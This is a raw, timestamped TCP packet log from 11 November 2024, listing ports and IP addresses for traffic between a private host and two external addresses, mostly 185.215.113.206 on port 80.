Nov 11, 2024 14:32:16.722028017 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722032070 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722042084 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722048044 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722049952 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722052097 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722057104 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722058058 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722064018 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722079992 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722096920 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722103119 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722107887 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722112894 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722119093 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722125053 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722130060 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722136021 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722137928 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722137928 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722142935 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722146988 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722153902 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722158909 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722188950 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722208977 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722208977 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722376108 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722388029 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722399950 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722404957 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722429991 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722564936 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722574949 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722579956 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722585917 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722590923 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722592115 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722595930 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722600937 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722606897 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722611904 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722614050 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722618103 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722623110 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722636938 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722636938 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722637892 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722645044 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722655058 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722659111 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722665071 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722666979 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722671986 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722678900 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722681999 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722687006 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722692013 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722697020 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722702980 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722707033 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722707033 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722713947 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722718954 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722723961 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722733974 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.722748041 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722778082 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.722778082 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.791405916 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.791429043 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.791521072 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792099953 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792192936 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792231083 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792244911 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792248011 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792253017 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792257071 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792293072 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792298079 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792304039 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792309046 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792310953 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792310953 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792325020 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792331934 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792339087 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792377949 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792476892 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792479038 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792483091 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792489052 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792494059 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792509079 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792519093 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792527914 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792534113 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792537928 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792537928 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792540073 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792546988 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792553902 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792555094 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792555094 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792592049 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792598009 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792603970 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792608023 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792613983 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792614937 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792620897 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792670012 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792728901 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792733908 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792740107 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792745113 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792752028 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792757988 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792830944 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792830944 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792830944 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792840958 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792845011 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792855024 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792867899 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792871952 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792884111 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792890072 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792898893 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792902946 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792912006 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792912006 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792937040 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792942047 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792943001 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792968035 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.792975903 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792980909 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.792989969 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793001890 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793004990 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793015957 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.793015957 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.793078899 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.793078899 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.793106079 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793112040 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793126106 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793137074 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793142080 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793154955 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793164968 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.793171883 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793173075 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.793173075 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.793175936 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793186903 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793226957 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.793226957 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.793268919 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.793332100 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793339014 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793345928 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793350935 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793356895 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793363094 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.793380022 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.794018030 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.884308100 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.889229059 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.006346941 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:17.006369114 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:17.006417990 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:17.006423950 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:17.106956959 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.106966972 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.106975079 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107026100 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107032061 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107043982 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107052088 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107058048 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.107083082 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.107157946 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.107189894 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107196093 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107202053 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107208967 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107213974 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107219934 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107227087 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107239008 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107248068 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107253075 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.107270956 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.107743025 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.107831001 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107836008 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107846975 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107853889 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107863903 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107870102 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107876062 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107887030 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107892990 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107897997 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107903957 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107908964 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107916117 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.107920885 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107928038 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107933998 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107937098 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.107939005 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107945919 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107952118 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107959032 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.107961893 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.107961893 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.107988119 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108136892 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108166933 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108172894 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108184099 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108227015 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108330011 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108336926 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108349085 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108355045 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108360052 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108366013 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108381987 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108388901 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108395100 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108397961 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108400106 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108407021 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108412981 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108412981 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108418941 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108431101 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108434916 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108437061 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108443975 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108449936 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108460903 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108467102 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108469009 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108473063 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108494043 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108522892 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108530045 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108541012 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108546972 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108551979 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108558893 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108560085 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108565092 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108570099 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108576059 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108576059 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108582020 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108587027 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108587980 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108613968 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108634949 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108642101 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108653069 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108659029 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108664036 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108666897 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108670950 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108683109 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108689070 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108695984 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108702898 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108702898 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108791113 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108798027 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108803988 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108809948 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108814955 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108819962 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108844042 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108922005 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.108951092 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108958006 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108972073 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108982086 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108990908 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108994007 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.108999968 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109002113 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109006882 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109015942 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109021902 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109023094 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.109023094 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.109028101 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109035015 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109061956 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.109061956 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.109102964 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109112978 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109117985 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109123945 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109129906 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109133959 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.109137058 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109143972 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109150887 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109157085 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109159946 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.109163046 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109179974 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109186888 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109191895 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109196901 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109200001 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.109203100 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109209061 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.109230042 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.109241962 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109249115 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109260082 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109266996 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109275103 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.109277964 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109283924 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109287977 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.109289885 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109297037 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109302044 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109308004 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109313965 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.109313965 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.109334946 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.109431982 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.110729933 CET	80	49753	185.215.113.206	192.168.2.4
